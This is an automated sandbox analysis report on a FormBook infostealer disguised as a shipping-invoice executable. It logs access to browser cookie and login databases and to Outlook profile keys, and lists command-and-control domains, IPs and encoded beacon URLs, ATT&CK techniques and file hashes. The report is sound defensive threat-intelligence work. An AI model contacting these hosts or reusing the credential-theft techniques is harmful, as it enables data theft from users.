Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\openfiles.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Binary or memory string: WIN_XP
Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Binary or memory string: WIN_XPe
Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Binary or memory string: WIN_VISTA
Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Binary or memory string: WIN_7

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3922241785.0000000000120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3924811899.00000000050E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3923277416.0000000000BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2399645826.0000000005CA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2398476195.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3923173605.00000000006E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3923233381.0000000002880000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2399183126.0000000003DE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_004741BB
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,	0_2_0046483C
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0047AD92

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	26%	ReversingLabs	Win32.Trojan.AutoitInject
COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
wiretap.digital	3.33.130.190	true	true	unknown
www.ambaolive.info	217.160.0.93	true	true	unknown
cablecarrental.net	3.33.130.190	true	true	unknown
www.js18456.net	154.204.174.144	true	true	unknown
everyone.golf	3.33.130.190	true	true	unknown
pegji.online	84.32.84.32	true	true	unknown
www.solidarity.rocks	199.59.243.227	true	true	unknown
www.martmall.info	209.74.64.189	true	true	unknown
b1-3-r111.kunlundns.top	43.155.76.124	true	true	unknown
ninesquare.games	3.33.130.190	true	true	unknown
www.everyone.golf	unknown	unknown	true	unknown
www.cablecarrental.net	unknown	unknown	true	unknown
www.wiretap.digital	unknown	unknown	true	unknown
www.ninesquare.games	unknown	unknown	true	unknown
206.23.85.13.in-addr.arpa	unknown	unknown	true	unknown
www.kmjai8jf.icu	unknown	unknown	true	unknown
www.pegji.online	unknown	unknown	true	unknown
www.cdqjey8g.sbs	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.cablecarrental.net/v4bm/	true	unknown
http://www.martmall.info/mnch/	true	unknown
http://www.cdqjey8g.sbs/mwey/	true	unknown
http://www.pegji.online/d2v9/	true	unknown
http://www.solidarity.rocks/hezo/	true	unknown
http://www.cablecarrental.net/v4bm/?dfNhZ=LvKD&Qf=UriKCs8IuFFR4TTqdn8mW9qn7tWx6P3ZinlzpjDq4fCyKDrZ4VtGTPVHjKcBdcGNOjebK1rv6kMuP7DU57EHV7fB1Fw6KFne1D6Rug6LMA95ePfrFnRHm3EVt8hGUqlbxg==	true	unknown
http://www.everyone.golf/vn3y/	true	unknown
http://www.ninesquare.games/5dij/	true	unknown
http://www.pegji.online/d2v9/?Qf=/BGEsYOqsJqqhDEhAmSoz7XGIyY1zd7NGknPEqdHfHUeoKSHXbOB1S++dlN9q4sVTmPSNjGXnx+XOSNFD4p+i9KPLpYeb7pWe4FqPAWe6yUVfuXBvfRCjBvjuTq8688V8g==&dfNhZ=LvKD	true	unknown
http://www.martmall.info/mnch/?Qf=v8BgWZnTU46XNxSlz+wlrSVbOoZFIyRpq8YSvkRatF7pdr65NJBVncP31ryMv/pPMJWLYh1CVZzl0k3fb3N4w1CZZWRBx0MxE1RuFxwGmdcG7Wvf0YOjoPTL66WOa4bW0g==&dfNhZ=LvKD	true	unknown
http://www.ambaolive.info/etyp/	true	unknown
http://www.wiretap.digital/5qo7/?Qf=AItRdHIStarSgJFr54MavMegqlpHmxEFjzxzqB36/sm0G2kp9NXBjanhx9IotPFlCRiq6XnmdXy4N5GOjcFlfw1ST0r4x3lNvjQx3kOK6KItSarXN1mZwSCiX1dGL8t8Fw==&dfNhZ=LvKD	true	unknown
http://www.ambaolive.info/etyp/?Qf=Dr+g/XG6jtOqCn8/zR8nTbl4ceO03c9kwfdN6eE3C0ioydwbN70LOWdod/pg9bEI1Vuk9miEvgn19d41gPN4rlUX9RrdntYT0gmajM7aDOhndskJXTQ3TCDQE0m22le06w==&dfNhZ=LvKD	true	unknown
http://www.js18456.net/byug/?dfNhZ=LvKD&Qf=daot1yqA0sfH+KONUjF9hF9KxIdUCROymgGxIYerxsodSW80Yw7JQGC35zuckSas8FRPkylX8MsqYI+8Hz0cWqztja2+Su+68kyxn3iYny23AR/HjwUyUQBMgFhq2oMeHw==	true	unknown
http://www.everyone.golf/vn3y/?dfNhZ=LvKD&Qf=4fdprAkJW3t6EugFrrKpOh0jAL9prUCCiVZOwyaX7LMwI5mxlEPHi2pNewAAFSa5SesK+9iUjYEa2ieL4iuLuai/7tsPeEKuo01Pwm69kGjHXqEwpX6I5hZBqJX4K4GQdg==	true	unknown
http://www.solidarity.rocks/hezo/?Qf=bKC36uQqTYAW1Z0uXOc3KBFqzGaL5BZKFiqBCDC6/n3apod3QxJOH8RljG7tDR+ZJnSddaKa4mqx0DHccc9oLw4oijXKRmO4QJbET8Dl2ZwK3TY4olCXNmcrQQUcwGDKyQ==&dfNhZ=LvKD	true	unknown
http://www.wiretap.digital/5qo7/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.ninesquare.games	OhOEhutKIH.exe, 00000006.00000002.3924811899.0000000005159000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	openfiles.exe, 00000005.00000002.3923928897.00000000052DA000.00000004.10000000.00040000.00000000.sdmp, openfiles.exe, 00000005.00000002.3925508726.0000000007170000.00000004.00000800.00020000.00000000.sdmp, OhOEhutKIH.exe, 00000006.00000002.3923414877.000000000354A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	openfiles.exe, 00000005.00000003.2595181809.000000000741E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
154.204.174.144	www.js18456.net	Seychelles	137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	true
199.59.243.227	www.solidarity.rocks	United States	395082	BODIS-NJUS	true
43.155.76.124	b1-3-r111.kunlundns.top	Japan	4249	LILLY-ASUS	true
84.32.84.32	pegji.online	Lithuania	33922	NTT-LT-ASLT	true
217.160.0.93	www.ambaolive.info	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
209.74.64.189	www.martmall.info	United States	31744	MULTIBAND-NEWHOPEUS	true
3.33.130.190	wiretap.digital	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544331
Start date and time:	2024-10-29 10:00:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@12/7
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 97% Number of executed functions: 43 Number of non-executed functions: 307
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target OhOEhutKIH.exe, PID 2136 because it is empty
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Simulations

Behavior and APIs

Time	Type	Description
05:02:19	API Interceptor	5766758x Sleep call for process: openfiles.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
154.204.174.144	General terms and conditions of sale - Valid from 10202024 to 12312024.exe	Get hash	malicious	FormBook	Browse	www.js18456.net/11gx/?ldz=rxiD0VSh&jB=ODktm7BfoValjuNL5P61BWwIi5kZX5R1hx7Ke837cFkm7BCdFiOgsI1RZ91AC3GJFMen+rNIdZo2ocYD0qhSsMPqPuDdRaPxXMaQenJRCurvqUCp5g==
154.204.174.144	rBilateralt.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.js18456.net/f4fo/
199.59.243.227	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	www.auto-deals-cz-000.buzz/geci/
	rpurchasyinquiry.exe	Get hash	malicious	FormBook	Browse	www.gold-rates.online/e6yl/
	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	www.deepfy.xyz/mipl/
	http://scansourcce.com/	Get hash	malicious	Unknown	Browse	scansourcce.com/_tr
	mm.exe	Get hash	malicious	Unknown	Browse	www.rebel.tienda/huia/
	Invoice & Packing list For Sea Shipment.exe	Get hash	malicious	FormBook	Browse	www.9net88.net/ge07/?XRA4Dv_0=rInKjcO63u4K1THTAINFv2coOl+G9i0Xo3vzod/XDYjf3VmyXg5Nkxs22ujGcbkomNpSpJke0g==&DVld2=Ybu8dZf0
	Invoice Packing list For Sea Shipment.exe	Get hash	malicious	FormBook	Browse	www.9net88.net/ge07/?FXT8AF=2dkTOn9Hj2ox&T8itM8U=rInKjcO63u4K1THTAINFv2coOl+G9i0Xo3vzod/XDYjf3VmyXg5Nkxs22tPZEr4Tl6UO
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAIL.exe	Get hash	malicious	FormBook	Browse	www.solidarity.rocks/hezo/
	Invoice Packing list For Sea Shipment.exe	Get hash	malicious	FormBook	Browse	www.9net88.net/ge07/?Qzr=Llspyx1H8n00&anM=rInKjcO63u4K1THTAINFv2coOl+G9i0Xo3vzod/XDYjf3VmyXg5Nkxs22uj/DqErob1VpJkZnQ==
	zamowienie.exe	Get hash	malicious	GuLoader	Browse	www.gold-rates.online/rod1/
84.32.84.32	7950COPY.exe	Get hash	malicious	FormBook	Browse	www.wasu.services/p09r/?jV=9TeX9bH5Jule2YnjhGLDExVhrouE0faB5BIlOcF/sH+A4rgWdIa/itke8PR544/hPmU16xRc+E4OdNQd8b2fpoi5HiWzsdoirC1F9hPJRKtJPtmH/xW8fsk=&SxJLI=oxMP
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.pakmartcentral.shop/ml5l/
	PO 45003516.exe	Get hash	malicious	FormBook	Browse	www.zrro.xyz/igo0/
	QUOTE2342534.exe	Get hash	malicious	FormBook	Browse	www.voidzero.tech/2vbz/
	mm.exe	Get hash	malicious	Unknown	Browse	www.xtelify.tech/4nzc/
	FACTURA A-7507_H1758.exe	Get hash	malicious	GuLoader	Browse	www.xtelify.tech/yzuf/
	LlbpXphTu9.exe	Get hash	malicious	Unknown	Browse	www.stoff-tanz.online/nwjc/
	P1 BOL.exe	Get hash	malicious	Unknown	Browse	www.bravas.company/fycp/
	PO1268931024 - Bank Slip.exe	Get hash	malicious	PureLog Stealer	Browse	www.xtelify.tech/9dj3/
	Re property pdf.exe	Get hash	malicious	FormBook	Browse	www.rsantos.shop/314m/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
b1-3-r111.kunlundns.top	QUOTE2342534.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAIL.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
	Re property pdf.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
www.js18456.net	General terms and conditions of sale - Valid from 10202024 to 12312024.exe	Get hash	malicious	FormBook	Browse	154.204.174.144
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAIL.exe	Get hash	malicious	FormBook	Browse	154.204.174.144
	rBilateralt.exe	Get hash	malicious	FormBook, GuLoader	Browse	154.204.174.144
www.ambaolive.info	Request for 30 Downpayment.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	217.160.0.93
www.ambaolive.info	Pending invoices.exe	Get hash	malicious	FormBook	Browse	217.160.0.93
www.solidarity.rocks	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAIL.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	Halkbank_Ekstre_20230426_075819_154055.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	NARLOG 08.10.2024.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
www.martmall.info	Tandemmernes90.exe	Get hash	malicious	FormBook, GuLoader	Browse	209.74.64.189

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LILLY-ASUS	arm5.elf	Get hash	malicious	Unknown	Browse	42.14.120.146
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	43.139.242.108
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	40.16.60.116
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	43.195.163.104
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	40.199.111.35
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	40.206.26.52
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	40.6.110.181
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	42.173.133.16
	Secured_Voice_Transcription_Arnoldclark_847.shtml	Get hash	malicious	HTMLPhisher	Browse	43.157.144.192
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	40.254.15.45
ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	156.236.102.197
	splarm7.elf	Get hash	malicious	Unknown	Browse	154.209.247.120
	nabm68k.elf	Get hash	malicious	Unknown	Browse	118.184.5.202
	splppc.elf	Get hash	malicious	Unknown	Browse	154.209.247.150
	nshmpsl.elf	Get hash	malicious	Mirai	Browse	156.253.18.41
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	103.93.121.230
	nsharm7.elf	Get hash	malicious	Mirai	Browse	156.241.153.155
	garm.elf	Get hash	malicious	Mirai	Browse	156.241.153.121
	garm5.elf	Get hash	malicious	Mirai	Browse	156.253.18.48
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	160.181.221.106
NTT-LT-ASLT	nabarm5.elf	Get hash	malicious	Unknown	Browse	84.32.48.93
	7950COPY.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	PO 45003516.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	QUOTE2342534.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	mm.exe	Get hash	malicious	Unknown	Browse	84.32.84.32
	FACTURA A-7507_H1758.exe	Get hash	malicious	GuLoader	Browse	84.32.84.32
	LlbpXphTu9.exe	Get hash	malicious	Unknown	Browse	84.32.84.32
	P1 BOL.exe	Get hash	malicious	Unknown	Browse	84.32.84.32
	PO1268931024 - Bank Slip.exe	Get hash	malicious	PureLog Stealer	Browse	84.32.84.32
BODIS-NJUS	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	rpurchasyinquiry.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	PO 45003516.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.59.243.227
	http://scansourcce.com/	Get hash	malicious	Unknown	Browse	199.59.243.205
	mm.exe	Get hash	malicious	Unknown	Browse	199.59.243.227
	Invoice & Packing list For Sea Shipment.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	Invoice Packing list For Sea Shipment.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	6 654398.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.59.243.227

Process:	C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.995112486853811
Encrypted:	true
SSDEEP:	6144:STsYmnit/Y7nt9aT6dr2A6DWe4zfeBlDdw349QurR:S9YitQLt9aq6yeaeT6349Qu9
MD5:	2FA3CEEAC6D91914808FAEA1CE2E546D
SHA1:	FCCF4013E87BE137F44EB2AA01C9D62C1AD87A35
SHA-256:	4CC6EC68AAFE18EE7F34ADC0725002E4D0F5E9F712691C0F581613C5AC1FC477
SHA-512:	B8947860BC1E8A89A68DBE63838AEE8C50E486F87FAC877F5BF50C0419C998A94C42EF2CAFC0BC6E24881FD350EDCF79542C3C18E8ACCC46331E6BB365C7A30F
Malicious:	false
Reputation:	low
Preview:	.....HDSJ..Q....v.Y:...z@B...CHDSJJYIX2V5TJTY9U1PRCJKLNCHDS.JYIV-.;T.]...0..b.#%=c86<-88$xQ7[:% y[0."'-j""n...s'%=,v?[?pJTY9U1P+BC.q.$.y3-.d)?.L...n9^.+...v++.Y..v>..[5]i3.9U1PRCJK..CH.RKJK..dV5TJTY9U.PPBAJGNC.@SJJYIX2V5.^TY9E1PR3NKLN.HDCJJYKX2P5TJTY9U7PRCJKLNC8@SJHYIX2V5VJ..9U!PRSJKLNSHDCJJYIX2F5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5z>1!MU1PF.NKL^CHD.NJYYX2V5TJTY9U1PRCjKL.CHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYIX2V5TJTY9U1PRCJKLNCHDSJJYI

C:\Users\user\AppData\Local\Temp\w2-0G0-7

Download File

Process:	C:\Windows\SysWOW64\openfiles.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
